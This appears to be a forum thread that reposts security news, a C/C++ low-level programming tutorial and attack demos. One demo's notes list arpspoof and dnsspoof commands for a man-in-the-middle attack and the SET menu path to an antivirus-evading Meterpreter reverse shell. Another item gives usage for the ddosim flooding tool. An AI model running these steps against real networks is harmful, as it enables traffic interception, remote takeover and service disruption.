Nytro

[h=3]New Generic Top-Level Domains (gTLDs) out for Sale[/h] Published: 2012-01-13, Last Updated: 2012-01-13 15:44:20 UTC by Guy Bruneau (Version: 1) Yesterday ICANN started accepting applications for new generic top-level domains (gTLDs). "The world of .com, .gov, .org and 19 other gTLDs will soon be expanded to include all types of words in many different languages. For the first time generic TLDs can include words in non-Latin languages, such as Cyrillic, Chinese or Arabic." [1] Last month, the US Federal Trade Commission indicated it has concerns with this change, they are concerned that consumer protection safeguard against bad actors that could lead to potential risk of abuse through existing scams such as phishing sites. [2] Do you see these changes have a potential for concern and abuse or just business as usual? [1] ICANN | New gTLDs Update: Applications Accepted Today; New Guidebook Posted; Financial Assistance for Qualifying Applicants [2] http://www.ftc.gov/os/closings/publicltrs/111216letter-to-icann.pdf [3] Home | ICANN New gTLDs ----------- Guy Bruneau IPSS Inc. gbruneau at isc dot sans dot edu Sursa: ISC Diary | New Generic Top-Level Domains (gTLDs) out for Sale

[h=1]Microsoft confirms UEFI fears, locks down ARM devices[/h] [h=3]By Aaron Williamson | January 12, 2012[/h] At the beginning of December, we warned the Copyright Office that operating system vendors would use UEFI secure boot anticompetitively, by colluding with hardware partners to exclude alternative operating systems. As Glyn Moody points out, Microsoft has wasted no time in revising its Windows Hardware Certification Requirements to effectively ban most alternative operating systems on ARM-based devices that ship with Windows 8. The Certification Requirements define (on page 116) a "custom" secure boot mode, in which a physically present user can add signatures for alternative operating systems to the system's signature database, allowing the system to boot those operating systems. But for ARM devices, Custom Mode is prohibited: "On an ARM system, it is forbidden to enable Custom Mode. Only Standard Mode may be enable." [sic] Nor will users have the choice to simply disable secure boot, as they will on non-ARM systems: "Disabling Secure [boot] MUST NOT be possible on ARM systems." [sic] Between these two requirements, any ARM device that ships with Windows 8 will never run another operating system, unless it is signed with a preloaded key or a security exploit is found that enables users to circumvent secure boot. While UEFI secure boot is ostensibly about protecting user security, these non-standard restrictions have nothing to do with security. For non-ARM systems, Microsoft requires that Custom Mode be enabled—a perverse demand if Custom Mode is a security threat. But the ARM market is different for Microsoft in three important respects: Microsoft's hardware partners are different for ARM. ARM is of interest to Microsoft primarily for one reason: all of the handsets running the Windows Phone operating system are ARM-based. By contrast, Intel rules the PC world. There, Microsoft's secure boot requirements—which allow users to add signatures in Custom Mode or disable secure boot entirely—track very closely to the recommendations of the UEFI Forum, of which Intel is a founding member. Microsoft doesn't need to support legacy Windows versions on ARM. If Microsoft locked unsigned operating systems out of new PCs, it would risk angering its own customers who prefer Windows XP or Windows 7 (or, hypothetically, Vista). With no legacy versions to support on ARM, Microsoft is eager to lock users out. Microsoft doesn't control sufficient market share on mobile devices to raise antitrust concerns. While Microsoft doesn't command quite the monopoly on PCs that it did in 1998, when it was prosecuted for antitrust violations, it still controls around 90% of the PC operating system market—enough to be concerned that banning non-Windows operating systems from Windows 8 PCs will bring regulators knocking. Its tiny stake in the mobile market may not be a business strategy, but for now it may provide a buffer for its anticompetitive behavior there. (However, as ARM-based "ultrabooks" gain market share, this may change.) The new policy betrays the cynicism of Microsoft's initial response to concerns over Windows 8's secure boot requirement. When kernel hacker Matthew Garrett expressed his concern that PCs shipped with Windows 8 might prevent the installation of GNU/Linux and other free operating systems, Microsoft's Tony Mangefeste replied, "Microsoft’s philosophy is to provide customers with the best experience first, and allow them to make decisions themselves." It is clear now that opportunism, not philosophy, is guiding Microsoft's secure boot policy. Before this week, this policy might have concerned only Windows Phone customers. But just yesterday, Qualcomm announced plans to produce Windows 8 tablets and ultrabook-style laptops built around its ARM-based Snapdragon processors. Unless Microsoft changes its policy, these may be the first PCs ever produced that can never run anything but Windows, no matter how Qualcomm feels about limiting its customers' choices. SFLC predicted in our comments to the Copyright Office that misuse of UEFI secure boot would bring such restrictions, already common on smartphones, to PCs. Between Microsoft's new ARM secure boot policy and Qualcomm's announcement, this worst-case scenario is beginning to look inevitable. Sursa: Microsoft confirms UEFI fears, locks down ARM devices - SFLC Blog - Software Freedom Law Center

[h=4]Backtrack 5 R1 , Metasploit And Stolen Tokens In Active Directory (Ad) Domain[/h] Description: Backtrack 5 R1 , Metasploit and Stolen Tokens in Active Directory (AD) Domain Special tnx (vivek) , (DM) Sursa: Backtrack 5 R1 , Metasploit And Stolen Tokens In Active Directory (Ad) Domain

[h=4]Iphone Forensics - On Ios 5[/h] Description: iPhone Forensics goal is to extract data and artifacts from iPhone without altering the information on the device. This video explains the technical procedure and the challenges involved in extracting data from the live iPhone. iPhone Forensics | InfoSec Institute – IT Training and Information Security Resources Sursa: Iphone Forensics - On Ios 5

[h=4]Using Set's Java Applet Attack To Bypass Anti-Virus Software[/h] Description: Demonstration of SET's Java Applet Attack to bypass anti-virus software and obtain Meterpreter shell. Video Notes: ifconfig (View NIC information) macchanger -a eth0 (Change MAC Address) nmap -sn -n 10.10.100.* | grep Nmap (Scan for hosts) route -n (Identify the Gateway) 10.10.100.254 (Gateway) 10.10.100.30 (Attacker) 10.10.100.16 (Victim) ping 10.10.100.16 (Verify Connectivity) echo 1 > /proc/sys/net/ipv4/ip_forward (Enables IP forwarding) cat /proc/sys/net/ipv4/ip_forward (View status of IP forwarding) pico dns (Create DNS table for dnsspoof) arpspoof -i eth0 -t 10.10.100.254 10.10.100.16 (Man in the middle attack part 1) arpspoof -i eth0 -t 10.10.100.16 10.10.100.254 (Man in the middle attack part 2) dnsspoof -i eth0 -f dns (Website Redirect) SET menu 1 -> Social Engineering Attacks 2 -> Website Attack Vectors 1 -> Java Applet Attack Method 2 -> Website Cloner 13-> ShellCodeExec Alphanum Shellcode 1 -> Windows Meterpreter Reverse TCP I apologize in advance for the poor editing and TTS narrator. My next videos should be better. Thanks Sursa: Using Set's Java Applet Attack To Bypass Anti-Virus Software

[h=4]Metasploit Framework Post Exploitation - Windows Security Center[/h] Description: Quick demo as part of post exploitation phase with Metasploit Framework and some tips about the Windows Security Center and the system notifications Sursa: Metasploit Framework Post Exploitation - Windows Security Center

[h=2]C / C++ Low Level Curriculum part 2: Data Types[/h]Alex Darby 12:00 pm on November 24, 2011 [h=2]Prologue[/h]Hello and welcome to the 2nd part of the C / C++ low level curriculum series of posts that I’m currently doing. Here’s a link to the first one if you missed it: http://altdevblogaday.com/2011/11/09/a-low-level-curriculum-for-c-and-c/ This post is going to be a little lighter than most of the other posts in the series, primarily because this post is vying for my spare time with my urge to save a blonde girl with pointy ears from the skinny androgynous Demon Lord of extended monologue in a virtual universe powered by three equilateral triangles. Before we continue, I’d like to quickly bring to public note a book that has now been recommended to me many times as a result of the first post: http://www1.idc.ac.il/tecs I can’t personally vouch for it, but I fully intend to buy it and grok its face off as soon as I get some spare time in my schedule. This book looks awesome, and if it is half as good as it looks to be then reading it should be an extremely worthwhile investment of your time… [h=3]Assumptions[/h]The next thing on my agenda is to discuss assumptions. Assumptions are dangerous. Even by writing this I am making many assumptions – that you have a computer, that you can read and understand The Queen’s English, and that on some level you care about understanding the low-level of C++ to name but a few. Consequently, dear reader, I feel that it’s worth mentioning what I assume about you before I go any further. The important thing, I guess, that I should mention is that I assume that you are already familiar with and comfortable using C and/or C++. If you’re not, then I’d advise you to go and get comfortable before you read any more of this [h=2]Data Types?[/h]So, again, I find myself almost instantly qualifying the title of the post and explaining what I mean when I say data types. What I am talking about is the “Fundamental” types of C++ and what you should know about how they relate to the machine level – even this seemingly straightforward aspect of C++ is not necessarily what you would expect; especially when dealing with multiple target platforms. Whilst this isn’t the kind of information that will suddenly improve your code by an order of magnitude, it is (in my opinion) one of the key building blocks of understanding C / C++ at the low level; as it has tonnes of potential knock on effects in terms of speed of execution, memory layout of complex types etc. Certainly, no-one ever sat me down and explained this to me, I just sort of absorbed it or looked it up over the years. [h=2]Fundamental and Intrinsic Types[/h]The fundamental types of C/C++ are all the types that have a language keyword. These are not to be confused with the intrinsic types which are the types that are natively handled by some given CPU (i.e. the data types that the machine instructions of that CPU operate on). Whenever you use new hardware you should check how the compiler for your platform is representing your fundamental types. The best way to do this is (can you guess?) to look at the disassembly window. These days all fundamental types of C++ can be represented by an intrinsic type on most platforms; but you definitely shouldn’t take this for granted, it has only really been the case since the current console hardware generation. There are 3 categories of fundamental type: integer, floating, and void. As we all know, the void type cannot be used to store values. It is used to specify “no type”. For both integral and floating point types there is a progression of types that can hold larger values and/or have more numerical precision. For integers this progression is (from least to most precision) char, short, int, long, long long; and for floats: float, double, long double. Clearly, the numerical value limits that a given type must be able to store mandate a certain minimum data size for that type (i.e. number of bits needed to store the prescribed values when stored in binary). [h=2]Sizes of Fundamental types[/h]As far as I have been able to discover, the C and C++ standards make no explicit guarantee about the specific size of any of the Fundamental types There are, however, several key rules about the sizes of the various types which I have paraphrased below: A char must be a minimum of 8 bits. sizeof( char ) == 1. If a pointer of type char* points at the very first address of a contiguous block of memory, then every single address in that block of memory must be traversable by simply incrementing that pointer. The C standard specifies a value that each of the integer types must be able to represent (see page 33 in this .pdf of the C standard if you want the values - see the header of a standard conformant C++ implementation for details of the values used by your compiler). The C++ standard says nothing about size, only that “There are five standard signed integer types : “signed char”, “short int”, “int”, “long int”, and “long long int”. In this list, each type provides at least as much storage as those preceding it in the list.” (see page 75 in this .pdf of the latest C++ standard I could find). 4 & 5 have similar rules in the C and C++ standard for the progression of floats. Helpfully, MSDN has a useful summary of this information (though it’s partly MSVC specific, it’s a good starting point). Despite all this leeway in the standard, the size of the fundamental types across PC and current gen console platforms is (to the best of my knowledge) relatively consistent. The C++ standard also defines bool as an integral type. It has two values, true and false, which can be implicitly converted to and from the integer values 1 and 0 respectively; and is the return type of all the logical operators (==, !=, >, < etc.). As far as I have been able to ascertain, the standard only specifies that bool must be able to represent a binary state. Consequently, the size of bool can vary dramatically according to compiler implementation, and even within code generated by the same compiler – I have seen it vary between 1 and 4 bytes on platforms I’ve used – I have always assumed that this was down to speed of execution vs. storage size tradeoffs. This ‘size of bool’ issue resulted in the use of bool being banned from use in complex data structures at least one company that I have worked at. I should clarify that this was a ‘proactive’ banning based on the fact that it might cause trouble rather than one that resulted from trouble actually having been caused. We should also mention enums at this point (thanks John!) – the standard gives the storage value of an enumerated type the liberty to vary in size depending on the range of values represented by each specific enum – even within the same codebase – so an enum with values < 255 (or <= 256 members with no values assigned) may well have sizeof() == 1, and one which has to represent 32 bit values would typically have sizeof() == 4. This brings us onto pointers. Strictly speaking pointers are not defined as one of the fundamental types, but the value of a pointer clearly has a corresponding data size so we’re covering them here. The first thing to note about pointers is that the numeric limits required for a pointer on any given platform are determined by the size of the addressable memory on that platform. If you have 1 GB of memory that must be accessible in 1 byte increments, then a pointer needs to be able to hold values up to ((1024 * 1024 * 1024) – 1), which is (2^30 -1) or 30 bits. 4GB is the most that can be addressed with a 32 bit value – which is why win32 systems can’t make use of more than 4GB. For example, when compiling for win32 with VS2010, pointers are 32 bit (i.e. sizeof() ==4), and when compiling for OSX with XCode (on the Macbook Pro I use at work for iOS development) pointers are 42 bit (sizeof() ==6). One thing that is definitely worth noting is that all data pointers produced by a given compiler will be the same size (n.b. this is not true of function pointers). The type of a pointer is, after all, a language level abstraction – under the hood they are all just a memory address. This is also why they can all be happily converted to and from void* – void* being a ‘typeless pointer’ (n.b. function pointers cannot be converted to or from void*). That said, knowing the type of the pointer is absolutely crucial to the low level of many of the higher level language mechanisms – as we shall see in later posts. [h=3]Addendum[/h]So, following on from a couple of the comments, I need to cover function pointers as separate from data pointers. I made an incorrect assertion that all pointers were the same size. This is only true of data pointers. Function pointers can be of different sizes precisely because they are not necessarily just memory addresses – in the case of multiply inherited functions or virtual functions they are typically structures. I recommend the blog that Bryan Robertson linked me to, as it gives a concrete example of why pointer to member functions often need to be more than a memory address: http://blogs.msdn.com/b/oldnewthing/archive/2004/02/09/70002.aspx I also found these useful links relating to function pointers and void* (this whole site is pretty damn useful in fact): http://www.parashift.com/c++-faq-lite/pointers-to-members.html#faq-33.10 http://www.parashift.com/c++-faq-lite/pointers-to-members.html#faq-33.11 Thanks to Bryan and Jalf for pushing me to find out more [h=2]Intrinsic Types used by Fundamental Types[/h]As I mentioned up front, this varies between the various platforms – and even then there’s no guarantee that the compiler will do the “sensible” thing and use all the intrinsic types supported by the platform you’re using. Here is a screenshot of a win32 console app I knocked up that prints the sizes of the Fundamental types as created by compiling for win32 under VS2010: C++ Fundamental types (win32 compiled on Windows 7 with VS2010) My home machine is a 64 bit intel thing of some description, about a year old. Since the processor is 64 bit, I’d hope that all of these sizes correspond to intrinsic types (8 bytes being the size of a 64 bit CPU register), however since I’m compiling for win32 (which can only fit 4 bytes in a standard CPU register) I’m guessing that it won’t be using intrinsics for types > 32 bit. adding 2 long long values and storing the result in a 3rd long long In any event, I can’t be sure without looking at the disassembly. <…pause to add some simple test code with long long and run it…> Sure enough, these 8 byte long long values are being handled as 2 32bit values. Ignoring the actual addition, you can clearly see this because the code initialising llTest and llTest2 is setting them in two separate steps for the upper and lower 32 bits of the 64 bit values. So now I know, and it wasn’t even scary – really I should go and check the rest of them… [h=2]Fancy Intrinsics[/h]Most modern CPUs have fancy intrinsics – e.g. 128 bit vector registers that can store and operate on four-32bit-floats-in-one-value sort of stuff. In theory these sorts of extra intrinsics can provide big wins in certain situations – e.g. heavy duty chunks of vector maths, or non vector maths that can be parallelised into vectors. The chances are that your compiler won’t ever use these without you asking it nicely. There are plenty of good reasons why this is the case (apparently), but you should find that support for these hardware specific intrinsics will be mentioned in your hardware / compiler manuals. [h=2]Summary[/h]So, what would I like you to take away from this? Firstly, that there is a difference between the data types of the C++ language and the hardware data types. Secondly, don’t just trust that your compiler is doing what would intuitively seem sensible to you. Check its work. Thirdly, it’s not rocket science! You can find out by just modifying one of the sample programs for your new hardware and then looking at the disassembly in the debugger. Finally, thought I might insert a few points of note here: Almost all CPUs have 8 bit bytes. Any CPU with more than 8 bits per byte was probably designed by a maniac / genius (n.b. I find that there is a particularly fine line between the two in Computer Science circles). One thing you need to watch out for with numerical types is that in the C standard, int and short both have the same numerical limit (unsigned int and unsigned short both have 0xFFFF (i.e. 16 bits)). I’ve never had a problem with it, but an int could be represented as 16 bit. If you want to know the size of any given type just use the sizeof() keyword. Your compiler knows these things. [h=2]Epilogue[/h]If you are hungry for more information on this level (i.e. fundamental and intrinsic types) I recommend searching #AltDevBlogADay, because there are loads to choose from… Here are a few of articles I found when doing a quick search (apologies to those whose articles I missed as a result of less than thorough searching!): http://altdevblogaday.com/2011/08/21/practical-flt-point-tricks/ http://altdevblogaday.com/2011/08/06/demise-low-level-programmer/ http://altdevblogaday.com/2011/11/10/optimisation_lessons/ Sursa: http://altdevblogaday.com/2011/11/24/c-c-low-level-curriculum-part-2-data-types/

A Low Level Curriculum for C and C++ Alex Darby 4:00 am on November 9, 2011 Background In my last post I wrote Why I became an Educator I was bemoaning the lack of focus on Low Level understanding that seems to have afflicted Computer Science degree courses of recent times (at least in the UK…). As a result, I received a comment from someone called Travis Woodward that said: There are plenty of students out there who are more than willing to dive into low level stuff, but its hard to know where to start or even what to learn (the old ‘you don’t know what you don’t know’ problem). I’ve looked around for something approaching a low level curriculum, but they tend to just be lists of topics which aren’t actually that helpful without context and suggested resources to start you off. The best intro I’ve found so far is a course called CS107: Programming Paradigms from Stanford on iTunesU, which has a good section on how C and C++ look to a compiler. So if any low level programmers want to put together a low level curriculum with suggested resources, then please do! This is of course a commendable idea, and so I decided to get started on it… Low Level Curriculum? Before I go any further, I’d like to clarify what I mean by “Low Level Curriculum”. During my time in the industry I’ve helped architect and build a multi-platform once-Next-Gen-now-current-gen engine and tool chain, I’ve written plenty of shaders, tracked down countless hideous bugs by looking at disassembly and memory windows, hunted down the odd submission blocking threaded race condition, and on several occasions had to hand-unpick the broken stacks of core dumps from PS3 / X360 test decks to find bugs that only occur “in the wild”; but that doesn’t make me a low level programmer – this is the kind of thing I’d expect anyone with my sort of experience to have done. I’ve never sat for hours poring over GPad or Pix captures, I’ve never really had to worry about stuff like patching fragment shaders or batched physics calculations on SPUs, or how to get the most from my AltiVecs, and I’ve certainly never had to re-code large chunks of code in assembler taking advantage of caching or sneaky DMA modes to get a few extra FPS out of anything – this is what low level programmers do, platform specific hardware optimised code usually written to get the best performance out of a machine. This curriculum is not about learning to be a low level programmer. What it is about is gaining a solid understanding of the low level implementational underpinnings of C and C++ * – an understanding that I strongly feel should be the base line for any programmer working in games. Over the course of however many posts this eventually takes up I’ll be covering: Data types Pointers, Arrays, and References Functions and the Stack The C++ object model (several posts) Memory (again, several posts) Caches Assuming you read and understand all of the posts in this series – and that I manage to communicate the information effectively – you should end up in a place where for any given “foible” of the language you understand not only that it exists but also – and most crucially – why it exists. For example, you may (or may not) know that virtual function calls don’t work in constructors, before the end of this series of posts you will understand why they can’t work in constructors. Again just to be clear, I’m not necessarily talking about the same level of understanding of this as someone who writes compilers for their day job; but certainly a level of understanding that gives you a much better idea of what is likely to be going on at the level of the underlying engine that C++ sits on top of, and which consequently enables you to far better understand the implications of the code you write. * N.B. to be 100% clear, C will be covered strictly as a subset of C++. There is no source code available for the current location. Aieeee! Spare me the hexadecimal! I’m sure the vast majority of programmers who use Visual Studio? freak out the first few times they see this dialog. I know I did. I learned to program primarily in a green (or orange if the green screens were taken) screen dumb terminal Unix mainframe environment. You know, like they have in old films like Alien. The second and third year students had priority use of the XWindows machines (and the few Silicon Graphics workstations were for 3rd year graphics projects only), so dumb terminals were where I learned my trade. Even on the XWindows machines there was no programming IDE that I was aware of – I used EMACS and GNU make files, and the only debugger I had use of was command line GDB, which is not what you’d call user-friendly. I got by with std::cout. When I graduated I went from this world of bakelite keyboards, screen burn, and command lines into the bright world of windows 95 development using Visual Studio 4 (slightly before Direct X and hardware accelerated graphics). When I first saw this dialog box you can bet your life I freaked out – and why wouldn’t I? Thanks to the language syntax and code architecture focussed high level teaching methods employed by my university I had no more idea of what went on behind the veil of the compiler than my brief forays into debugging with GDB had afforded me. I’d just got a degree from a well-respected University where they had altogether avoided teaching me about assembler as part of the main syllabus, and I had assumed it was because they were worried it was too much for my puny mind to deal with. Suffice to say, I got over the freaking out part – but I still saw this dialog as a “No Entry?” sign for far longer than I’d like to admit. I only really started to really get over it a few years later when I was working closely with someone who had got a job in games on the strength of their assembler programming. I had a crash, and they just casually leant over and clicked the “Show Disassembly” button. Then, equally casually, showed me exactly why my code was crashing – explaining it in terms of how C++ maps to assembler – and told me how to fix it. This blew my mindgaskets three times because: this person was so casual about it disassembly clearly wasn’t the black magic it appeared to be given it was so simple I couldn’t believe I hadn’t been taught about the low level innards of C++ at University Rending the Veil of Disassembly I really didn’t realise how incredibly important this was until I had the pleasure of meeting a guy called Andy Yelland. If you already know Andy, then you will know exactly what I mean, but for those of you who have not met him I will explain. Andy is one of those people who changes your perspective. He is more or less the polar opposite of the stereotypical ninja-level video game programmer: well dressed, professional, endlessly well-informed, friendly, funny, and socially adept. However, the most amazing thing about Andy is the speed with which he can dissect a console core dump. He just sits there and calmly unpicks the stack, occasionally keeping a few notes about which register some value is in, or looking up the address of a function in a symbol file as he goes, and then in somewhere between 5 minutes and a few hours (depending on how tricky the issue is) he’ll turn around and tell you exactly what the problem was. Not only that, but he’ll happily do this in a codebase he’s never even seen before – and even better, he’s totally happy to sit and explain it all to you as he does it. After sitting with Andy for a few dissections I realised that whilst what he does seems like black magic, it is in fact anything but. It’s about having an expert understanding of how C++ works at the assembly level, and bloody-mindedly applying that knowledge to reverse engineer the state of the system backwards from the current stack state (i.e. when the crash happened) to the point where the bad data was introduced. Clearly this takes a lot of practice, and to get anywhere near as good as Andy at it will take anyone (who isn’t Rain Man?) years of their life. I’m not saying that I think everyone should be able to casually decipher disassembly representing code they didn’t write – I certainly can’t do that. What I am saying is that I think all game programmers should be able to look at disassembly and be able to at least make an educated guess at what is going on, and by leveraging their understanding of how C++ is implemented at the low level – and given time, possibly with some hardware manuals – then they should be able to work it out. The first rule of the Low Level Curriculum for C++: Don’t fear Disassembly Ok, so assuming that you agree with me where do you start? I think the best way to start making sense of it is to look at some simple code in the disassembly window, so let’s do that. Make yourself a test project in a C++ programming IDE of your choice and write some simple code in your main() function. For the sake of argument, let’s say you’re using my weapon of choice – Visual Studio 2010 on a Windows PC. The Code I’m suggesting we look at is this: [TABLE] [TR] [TD=class: line_numbers]1 2 3 4 5[/TD] [TD=class: code]int x = 1; int y = 2; int z = 0; z = x + y;[/TD] [/TR] [/TABLE] Make sure you’re in the “debug” configuration, and put a breakpoint on the line z = x + y; then run the program. When the breakpoint gets hit, right-click in the text editor and choose “Go To Disassembly” from the context menu. DON’T PANIC! NOTE: ensure that you have the same options checked in the right-click context menu! You should now see something that looks something like the image above. Your text will almost certainly be scrolled differently, because I’ve messed about with the window sizes and text position for clarity. The black text with line numbers is clearly the code we compiled, the grey text below each line of code shows the assembler that each line of code generated. So what does it all mean? The hexadecimal number at the start of each line of assembler is the memory address of that line of assembler – remember code is really just a stream of data that tells the CPU what to do, so logically it must be at an address in memory. Don’t worry about these too much, I just wanted to make the point that the instructions are in memory too. mov and add are assembler mnemonics – each represents a CPU instruction, one per line with its arguments. eax and ebp are two of the registers in the x86 CPU architecture. Registers are “working area” for CPUs: fragments of memory that are built into the CPU itself, and which the CPU can access instantaneously. Rather than having addresses like memory, registers are named in assembler because there are usually only a (relatively) small number of them. The eax register is a “general purpose” register, but is primarily used for mathematical operations. The ebp register is the “base pointer” register. In x86 assembler, local variables will typically be accessed via an offset from this register. We will cover the purpose of ebp in later posts. As I alluded to in the previous sentence, ebp-8, ebp-14h, and ebp-20h are the memory addresses (as offsets from the ebp register) storing the values of the local variables x, y, and z respectively. dword ptr [ ... ] means “the 32 bit value stored in the address in the square brackets” (this is definitely true for the Win32 assembler, it may be different for the Win64 one – I’ve not checked). How does it work? Now, we know that the assembler generated by the C++ code we’ve written will initialise the three variables x, y, and z; then add x to y and store the result in z. Let’s look at each line of assembler in isolation (ignoring the address). mov dword ptr [ebp-8],1 This assembler instruction sets the value of the variable x by moving the value 1 into the memory at address ebp-8. mov dword ptr [ebp-14h],2 This assembler instruction sets the value of the variable y by moving the value 2 into the memory at address ebp-14h – n.b. the ‘h’ is necessary because 14 in decimal is a different value from 14 in hexadecimal – this wasn’t necessary when specifying the offset for the value of x because 8 is the same value in decimal and hexadecimal. mov dword ptr [ebp-20h],0 This instruction is, unsurprisingly, setting the value of the variable z. Now we’re up to the interesting part, doing the arithmetic and assigning the result to z. mov eax, dword ptr [ebp-8] This instruction moves the value of the memory at address ebp-8 (i.e. x) into the eax register… add eax, dword ptr [ebp-14h] …this instruction adds the value of the memory at address ebp-14h (i.e. y) to the eax register… mov dword ptr [ebp-20h],eax …and this instruction moves the value from eax into the memory at address ebp-20h (i.e. z). So, as you can see, whilst the assembler looks very different, it is logically isomorphic with the C++ code that it was generated from (i.e. whilst its behaviour may be slightly different, it will give the same output for any given input). Hold on, why did we look at that again? Those of you with brains connected to your eyes will have noticed that the intro to disassembly I just gave was – to use a British colloquialism – “a bit noddy”. In all honesty, that was the whole point of choosing such a simple example. the intention was to show how something as simple as adding two integers and storing the result in a third in C++ maps to assembler. You can use this exact technique to look at the vast majority of the C++ language constructs andsee what they actually generate, and the purpose of this was to show you that it’s simple enough to do. Obviously this example showed only two of the x86 assembler mnemonics, of which there are many more. If you want to make sense of assembler code that is using mnemonics you don’t know, it’s usually as simple as googling them. That’s all I’ve ever done, and there is so much information about x86 assembler floating about on the interweb that you should have little trouble deciphering it. I found a super helpful webpage that covers the x86 registers in some detail: The Art of Picking Intel Registers Here’s a link to a page to download a .pdf x86 “cheat sheet”: Intel Assembler CodeTable 80x86 - Overview of instructions (Cheat Sheet) And the obvious wikipedia page: http://en.wikipedia.org/wiki/X86_instruction_listings And a beefy link also linked from wikipedia: http://home.comcast.net/~fbui/intel.html Summary Whilst very few programmers will ever need to write assembler, all game programmers will – sooner or later – find it to their advantage to be able to read and make some sense of it. It’s amazing what you can figure out with only a partial knowledge of assembler and how it maps to C++ code. The example code we looked at was, as I’ve already admitted, very simple. The point of this first post wasn’t to give you answers, but to show that the disassembly window is only daunting if you let it be; and to encourage you to explore what your compiler is doing with the code you give it. Don’t give up just because you don’t understand what you’re seeing yet; google it or post a specific question somewhere like Stack Overflow Epilogue I guess there are a few other things that I’d like to draw your attention to a few other things that I think are there to take away from this tiny snippet of disassembly: the C++ concept of a variable (or any other language’s concept of a variable for that matter) doesn’t exist at the assembler level. In assembler the values of x, y, and z are stored in specific memory addresses, and the CPU gets at them by explicit use of their respective memory addresses. The high level language concept of a variable, whilst easier to think about, is actually already an abstracted concept identifying a value in a memory address. note that in order to do anything “interesting” (e.g. add a value to another) the CPU needs to have at least part of the data it is operating on in a register (I’m sure some that some CPUs must be able to operate directly on memory, but it’s certainly not the usual way of doing things). Finally, I feel that this extremely simple example illustrates what I think is one of the most important facts about programming: High level languages exist only to make life easy for humans, they’re not any kind of accurate reflection of how CPUs actually work – in fact even assembler is a human convenience compared to the actual binary opcodes that the mnemonics (e.g. mov, add etc.) represent. My advice is don’t think about the actual opcodes too much, and definitely don’t worry about the electrons or the silicon Sursa: A Low Level Curriculum for C and C++

[h=1]Norton AntiVirus source code leaked to hackers?[/h] Story updated; please see below. By Suzanne Choney A group of Indian hackers say they have obtained the source code for Norton AntiVirus software, as well as "confidential documentation," that they will share on websites for all to see. The group, which calls themselves "The Lords of Dharmaraja," said it plans to publish the information on several different websites, "since we experience extreme pressure and censorship from US and India government agencies." It shared some of the information — some of which appears several years old — and a statement on the PasteBin file-sharing site. The original post was deleted, but a version is available to be seen via Google's cache of it. A cached version of the group's statement about Norton AntiVirus source code and documentation. If the hackers really do have Symantec’s source code — which at the moment remains only a claim — and release it to the world, the impact could be devastating to both the firm and to millions of users. Virus writers armed with source code would have a much easier time writing malicious programs that would evade Norton’s protection. Symantec, which owns Norton, said in a statement to msnbc.com that it is "investigating claims of our source code being disclosed externally." "The first claim pertained to Norton Antivirus code; however, our investigation confirmed it was a document from 12 years ago saying how the solution worked," Symantec said in the statement. "No source code was disclosed. As for the second claim of additional code, we are still analyzing the information." The company's "first priority is to make sure that any customer information remains protected," and so far, Symantec said, "we have not detected any inordinate or suspicious rates of traffic or activity going in or out of our networks." Updated, 9 p.m. PT: Symantec says that "a segment" of the source code used in two of its "older enterprise products has been accessed, one of which has been discontinued. The code involved is four and five years old. This does not affect Symantec’s Norton products for our consumer customers." The company says its network "was not breached, but rather that of a third party entity. We are still gathering information on the details and are not in a position to provide specifics on the third party involved. Presently, we have no indication that the code disclosure impacts the functionality or security of Symantec’s solutions. Furthermore, there are no indications that customer information has been impacted or exposed at this time." Msnbc.com's Bob Sullivan contributed to this report. Sursa: Technolog - Norton AntiVirus source code leaked to hackers?

ddosim v0.2 (Application Layer DDOS Simulator) Jan 13, 2012 Hack websites by using ddosim v0.2 (Application Layer DDOS Simulator) DDOSIM simulates several zombie hosts (having random IP addresses) which create full TCP connections to the target server. After completing the connection, DDOSIM starts the conversation with the listening application (e.g. HTTP server). Can be used only in a laboratory environment to test the capacity of the target server to handle application specific DDOS attacks. Features HTTP DDoS with valid requests HTTP DDoS with invalid requests (similar to a DC++ attack) SMTP DDoS TCP connection flood on random port In order to simulate such an attack in a lab environment we need to setup a network like this: On the victim machine ddosim creates full TCP connections – which are only simulated connections on the attacker side. There are a lot of options that make the tool quite flexible: Usage: ./ddosim -d IP Target IP address -p PORT Target port [-k NET] Source IP from class C network(ex. 10.4.4.0) [-i IFNAME] Output interface name [-c COUNT] Number of connections to establish [-w DELAY] Delay (in milliseconds) between SYN packets [-r TYPE] Request to send after TCP 3-way handshake. TYPE can be HTTP_VALID or HTTP_INVALID or SMTP_EHLO [-t NRTHREADS] Number of threads to use when sending packets (default 1) [-n] Do not spoof source address (use local address) [-v] Verbose mode (slower) [-h] Print this help message Source: hack websites by using ddosim v0.2 (Application Layer DDOS Simulator) Sursa: Computer Security Blog | Learning The Offensive Security: ddosim v0.2 (Application Layer DDOS Simulator)

[h=1]Malware Attack Targets U.S. Government Agencies [/h] Sykipot, malware believed to originate in China, has been used to target smart cards in the Pentagon and other government agencies. According to security researcher AlienVault, a new variant of Sykipot is targeting the cards government employees use to access secure networks and servers. “The attackers use a spear phishing campaign to get their targets to open a PDF attachment which then deposits the Sykipot malware onto their machine (the attackers here took advantage of a zero-day exploit in Adobe),” according to AlienVault. Check out the video above to learn more. Sursa si video: Malware Attack Targets U.S. Government Agencies

SE Android Released January 6th, 2012 by James Morris The NSA have announced the initial public release of the Security Enhanced Android (SE Android) project. Security Enhanced (SE) Android is a project to identify and address critical gaps in the security of Android. Initially, the SE Android project is enabling the use of SELinux in Android in order to limit the damage that can be done by flawed or malicious apps and in order to enforce separation guarantees between apps. However, the scope of the SE Android project is not limited to SELinux. SE Android is currently available as source code. Instructions on building and installing the project may be found at the project web page. Sursa: SELinux News

[h=1]Python for Android launched[/h]9 January 2012, 17:55 A new project aims to make it easy to distribute Python applications for Android. The newly launched Python for Android project is a tool which takes a Python application and, after ensuring the Android SDK/NDK is installed, creates a Python distribution containing the runtime and the set of modules needed to run the application, packaged as an Android APK file. It was created by the developers of the Kivy cross-platform open source rapid application development library to support their framework. To that end, the packaged applications currently only have one "bootstrap" which decompresses the files, creates an OpenGL ES 2.0 surface for drawing and sets up to handle audio and touch events. Although built for the Kivy project, the developers welcome anyone prepared to create a new lighter bootstrap mechanism. Python has been executable on Android through the Android Scripting project, but that doesn't create simple-to-install, self-contained binary files. More details about the package are available, along with the source code, on the project's github repository. Currently the code has only been tested running on Ubuntu 11.10 and only supports including a small range of Python modules (peg, pil,png, sdl, sqlite3, pygame, kivy, android, libxml2, libxslt, lxml, ffmpeg, openssl). The Python for Android code is licensed under the LGPLv2. (djwm) Sursa: Python for Android launched - The H Open Source: News and Features

